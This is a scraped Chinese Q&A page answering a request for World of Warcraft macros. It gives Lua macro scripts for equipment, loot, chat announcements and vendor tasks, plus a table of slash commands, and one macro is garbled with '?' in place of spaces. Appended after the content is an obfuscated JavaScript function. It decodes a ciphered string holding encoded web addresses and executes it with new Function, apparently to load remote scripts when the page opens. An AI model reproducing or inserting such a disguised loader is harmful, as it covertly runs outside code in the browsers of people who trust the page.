wow宏指令大全 现在没电脑帮我查一下,不详细的请不要发言

2025-03-04 06:12:48
推荐回答(2个)
回答1:

查看装备耐久的宏:/ 脚本 local t,x,a,d,m={0,1},{"总计","最低"},0 for i=1,18 do
d,m=GetInventoryItemDurability(i)if m then if d/mx[2]="最低"..GetInventoryItemLink("player",i)end t[1]=m+t[1]a=a+d end end
t[1]=a/t[1]for i=1,2 do ChatFrame1:AddMessage(x[i]..t[i])end
垃圾抛弃宏:/脚本 local a,i,j,l={"要抛弃物品名字1","要抛弃物品名字2"}for i=1,#a do for j=1,114
do l=GetContainerItemLink(j/23,j%23)if l and l:find(a[i])then
PickupContainerItem(j/23,j%23)DeleteCursorItem()end end end
看看你的纸娃娃有多少种动作:先打开试衣间一次,再执行以下代码:

/script DressUpFrame:Show();local s = 2000;local a =
0;DressUpModel:SetScript("OnUpdate", function(self, e)s = s + (e *
1000);self:SetSequenceTime(a, s);if s > 2000 then s =
0;a=a+1;DEFAULT_CHAT_FRAME:AddMessage("第"..a.."号动作开始...") end end)

停止执行:/script DressUpModel:SetScript("OnUpdate",nil)
一键脱/穿装备宏:
脱装备:
自动搜索背包剩余位置脱掉装备

/run?L,Z={16,17,18,1,3,5,6,7,8,9,10},Z?or?{}local?n=Z[1]?and?#Z+1?or?1;for?i=0,4?do?for?j=1,GetContainerNumSlots(i)do?if?not?GetContainerItemLink(i,j)and?L[n]then?Z[n]={i,j}PickupInventoryItem(L[n])PickupContainerItem(i,j)n=n+1;end;end;end

穿装备:
和脱装备宏对应,穿回装备(背包里的装备位置不能动)

/run?for?i=1,#Z?do?if?GetContainerItemLink(Z[i][1],Z[i][2])then?PickupContainerItem(Z[i][1],Z[i][2])PickupInventoryItem(L[i])end;end;Z={}
倒计时喊话宏:
点一下开始,再一下停止

/脚本 T,F=T or 0,F or CreateFrame("frame")if X and i>0 then
X=nil else i=5;X=function()local t=GetTime()if t-T>1 then if i==0 then
F:SetScript("OnUpdate",nil)else SendChatMessage(i,"YELL")i=i-1;T=t end end end
end F:SetScript("OnUpdate",X)

左键点开始,再点重新计数,右键停止

/ 脚本 i=5;T,F=T or 0,F or
CreateFrame("frame")X=function()local t=GetTime()if t-T>1 then if i==0 or
X==nil then F:SetScript("OnUpdate",nil)else SendChatMessage(i,"YELL")i=i-1;T=t
end end end F:SetScript("OnUpdate",X);
/stopmacro [btn:1]
/脚本
X=nil;
打断提示宏:
自己打断的提示:

/ 脚本 F=F or
CreateFrame("frame")F:RegisterEvent("COMBAT_LOG_EVENT_UNFILTERED");F:SetScript("OnEvent",function()if
arg4==UnitName("player")and arg2:sub(-2,-2)=="P"then
SendChatMessage("我打断了"..arg7.."的"..arg13,"yell")end end)

周围所有人的打断提示

/ 脚本 F=F or
CreateFrame("frame")F:RegisterEvent("COMBAT_LOG_EVENT_UNFILTERED");F:SetScript("OnEvent",function()if
arg2:sub(-2,-2)=="P"and arg3:sub(5,5)=='0'then
SendChatMessage(arg4.."打断了"..arg7.."的"..arg13,"yell")end end)

取消提示:

/脚本 F:SetScript("OnEvent",nil)
智能拾取宏:
/ 脚本 hooksecurefunc(LootFrame,"Show",function()local
p,q,t;for i=1,IsAltKeyDown()and 0 or GetNumLootItems()do
_,_,p=GetLootSlotInfo(i)if p~=0 then
_,_,q,_,_,t=GetItemInfo(GetLootSlotLink(i))end if p==0 or(q and(q>0
or"武器"==t))then LootSlot(i)end end end)
自动拾取某件物品版:

/ 脚本 hooksecurefunc(LootFrame,"Show",function()local
t,p,n={"毛料","魔纹布"}for i=1,IsAltKeyDown()and 0 or GetNumLootItems()do
_,n,p=GetLootSlotInfo(i)for j=1,#n do if p==0 or n==t[j]then LootSlot(i)end end
end end)
BOSS掉落通报宏:历史版本:

/脚本 local n,c,S,t,m={},0,SendChatMessage;for
i=1,GetNumLootItems()do _,_,m,t=GetLootSlotInfo(i)if t>3 then
t=GetLootSlotLink(i)n[t]=n[t] and n[t]+m or m;c=c+1;end;end;if c>0 then for
i,j in pairs(n)do
S(i.."X"..j,"raid")end;S("=总计"..c.."件掉落=","raid")end
修复两件装备同名时的数量统计。

/ 脚本 local n,t,m,c={}for
i=1,GetNumLootItems()do _,_,m,t=GetLootSlotInfo(i)if t>3 then
t=GetLootSlotLink(i)_,_,c=t:find(".-m:(%d+)")n[c]=n[c] and n[c]+m or
m;end;end;for i,j in pairs(n)do
_,i=GetItemInfo(i)SendChatMessage(i.."X"..j,"raid")end
出售垃圾+修理装备宏:

在商人界面点击出售灰色物品,并自动修装备(优先使用公会银行)

/ 脚本 local q;if MerchantFrame:IsVisible()then for i=1,114 do
q=GetContainerItemLink(i/23,i%23)if q and q:sub(5,10)=="9d9d9d"then
UseContainerItem(i/23,i%23)end;end;if CanMerchantRepair()then
RepairAllItems(CanGuildBankRepair())end;end

如果不想用公会银行那么

/ 脚本 local q;if MerchantFrame:IsVisible()then for i=1,114 do
q=GetContainerItemLink(i/23,i%23)if q and q:sub(5,10)=="9d9d9d"then
UseContainerItem(i/23,i%23)end;end;if CanMerchantRepair()then
RepairAllItems()end;end

清理背包宏:在商人界面点宏一次性出售背包里所有灰色物品,其他情况点一下宏摧毁背包里的一件灰色物品,按住alt摧毁背包里所有灰色物品。

/ 脚本 local q;for i=1,120 do
q=GetContainerItemLink(i/23,i%23)if q and q:sub(5,10)=="9d9d9d"then if
MerchantFrame:IsVisible()then UseContainerItem(i/23,i%23)else
PickupContainerItem(i/23,i%23)DeleteCursorItem()if not IsAltKeyDown()then
break;end;end;end;end
获取鼠标持有物或悬停窗体信息宏:

/run local a,b,c,x,d,e,f=GetCursorInfo()if a then
x=a..":"..b.." " if a=="item"then _,_,_,_,_,d,e,_,f=GetItemInfo(x)x=x.." "..c.."
"..d.." "..e.." "..f elseif c then x=x..c end else
x=GetMouseFocus():GetName()end
DEFAULT_CHAT_FRAME:AddMessage(x)
在这个强力党横行的年代,分享2个很有用的宏:

M语你的目标,告诉他你的近战AP,暴击,还有命中。。

/run
p="player";bap,map=UnitAttackPower(p);rcr=GetCritChance(p);
rhi=GetCombatRating(7);SendChatMessage("本人DD数值:近战AP"..bap+map.."---爆
击"..rcr.."---命
中"..rhi,"whisper",GetDefaultLanguage("target"),UnitName("target"))

这个是远程暴击,AP和命中的宏。。

/run
p="player";bap,map=UnitRangedAttackPower(p);rcr=GetRangedCritChance(p);
rhi=GetCombatRating(7);SendChatMessage("AP"..bap+map.."爆击"..rcr.."命
中"..rhi,"whisper",GetDefaultLanguage("target"),UnitName("target"))

这个是坦克的~~

/run
p="player";dod=GetDodgeChance(p);pa=GetParryChance(p);bl=GetBlockChance(p);ba,ar=UnitArmor("player");hm=UnitHealthMax(p);SendChatMessage("闪避"..dod.."招架"..pa.."格挡"..bl.."护甲"..ar.."HP"..hm,"whisper",GetDefaultLanguage("target"),UnitName("target"))

法系

/run
p="player";fd=GetSpellBonusDamage(3);fcr=GetSpellCritChance(3);shi=GetCombatRating(8);SendChatMessage("火伤"..fd.."法爆"..fcr.."命中"..shi,"whisper",GetDefaultLanguage("target"),UnitName("target"))

注意,法伤GetSpellBonusDamage() 法爆GetSpellCritChance()
就是fd fcr那两行
()里面的数字
这是有分系的

1 for Physical
2 for Holy
3 for Fire
4
for Nature
5 for Frost
6 for Shadow
7 for Arcane
与焦点目标互补互助的“智能目标”宏:

首先打开宏面板创建一个名叫“记忆目标”的宏,将下面引用内容复制到此宏中。

再创建一个名为“目标”的空宏,无论是通用宏和专业宏。

将“记忆目标”和“目标”2个宏做好快捷设置。

/script
mz=UnitName("target")EditMacro(GetMacroIndexByName("目标"),"目标",3,"/目标 "..mz.."
\n/focus [target=focus,noexists][target=focus,dead]\n/stopmacro
[noharm]\n/startattack\n/petattack",1)
/focus
[target=focus,noexists][target=focus,dead]

宏中的/focus [target=focus,noexists][target=focus,dead]
可以根据情况更改或删除,同时你可以在宏“目标”中加入技能。

宏“记忆目标”的运作原理:
将当前目标的名字和攻击命令写入宏库名为“目标”的宏里,使用宏“目标”就能选择并攻击之前记忆的目标。

使用方法:
选择一个你需要设置为焦点或需要保存目标的目标,并运行宏“记忆目标”(战斗中无效),当你失去保存的目标或焦点后,运行宏“目标”就能找回保存的目标并设置为焦点目标(战斗中有效)。

例如你当前的目标是“张三”,使用宏“记忆目标”后,原本宏“目标”的内容会被篡改为:

/目标 张三
/focus
[target=focus,noexists][target=focus,dead]
/stopmacro
[noharm]
/startattack
/petattack

当然,你也可以直接修改/目标 后面的内容,宏“记忆目标”只是图个效率。

应用:

盗贼、法师和精灵种族都会消失并清楚焦点目标,照明弹、暴风雪等技能把他们拽出来,将宏“目标”加入无脑输出技能就可以找回之前目标,重新设置[焦点目标]并开始攻击和施法。

如果目标是个猎人,他假死的话就可以迅速找回目标。而且他跑再远你也不会失去“目标”,只要他在你附近的话,持续点击宏“目标”就行。

你会发现用此宏守尸很好很强大,尤其是猎人和术士。
baidu提示:字数超出最大允许值,请删减!

回答2:

分类
英文指令 中文指令 说明

人物
/cancelaura /取消光环 取消指定增益效果,如同右击增益图示一般。

人物
/cancelform /取消形态 取消型态。

人物
/usetalents /启用天赋 启用指定天赋。
3.2.0新增。

作战
/assist
/a /协助 协助指定目标。

作战
/cast
/spell /施放
/法术 施放技能。

作战
/startattack /开始攻击 开始自动攻击。

作战
/stopattack /停止攻击 停止自动攻击。

作战
/stopcasting /停止施法 打断目前正在施放的法术。

作战
/castrandom /随机施法 随机施放列表中的法术。
3.2.0後必须等随机列表中被选中的技能施放後,才能施放下一个随机技能。

作战
/castsequence /连续施法 依序使用列表中的法术。

物品
/use /使用 使用物品。

物品
/userandom /使用随机 使用随机列表中的物品。
3.2.0後必须等随机列表中被选中的物品使用後,才能使用下一个随机物品。

物品
/equip
/eq /装备 装备指定物品。

物品
/equipslot /装备栏位 装备指定物品至指定部位。

物品
/equipset /装备套装 装备指定套装。
3.2.0新增。

对象
/target
/tar /目标 设定目标。若使用单位名称,采模糊比对。

对象
/cleartarget /清除目标 清除目标。

对象
/targetexact /选定指定目标 设定目标。若使用单位名称,采精确比对。

对象
/targetlasttarget /选定前一目标 设定目标为前一个选取的目标。

对象
/targetlastenemy /选定前一敌人 设定目标为前一个选取的敌人。

对象
/targetlastfriend /选定前一友方 设定目标为前一个选取的友方。

对象
/targetenemy /目标敌人 设定目标为最近的敌人。

对象
/targetfriend /目标友方 设定目标为最近的友方。

对象
/targetenemyplayer /选定敌方玩家 设定目标为最近的敌方玩家。

对象
/targetfriendplayer /选定友方玩家 设定目标为最近的友方玩家。

对象
/targetparty /目标队伍 设定目标为最近的队伍成员。

对象
/targetraid /目标团队 设定目标为最近的团队成员。

对象
/focus /专注目标 设定专注目标。

对象
/clearfocus /清除专注目标 清除专注目标。

宠物
/petattack /宠物攻击 宠物攻击。

宠物
/petfollow /宠物跟随 宠物跟随。

宠物
/petstay /宠物停留 宠物停留。

宠物
/petautocastoff /关闭宠物自动施法 关闭宠物自动施法。

宠物
/petautocaston /开启宠物自动施法 开启宠物自动施法。

宠物
/petautocasttoggle /切换宠物自动施法 切换宠物自动施法。

宠物
/petaggressive /宠物攻击型 宠物主动状态。

宠物
/petdefensive /宠物防御型 宠物防御状态。

宠物
/petpassive /宠物被动型 宠物被动状态。

控制
/swapactionbar /切换快捷列 在两页快捷列间切换。

控制
/changeactionbar /改变快捷列 切换至指定快捷列页数。

控制
/click /点击 点击某个框架的某个按钮。

其他
/stopmacro /关闭巨集 停止运行巨集。

其他
/dismount /下马 解散坐骑。

其他
/leavevehicle /离开载具 离开载具。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();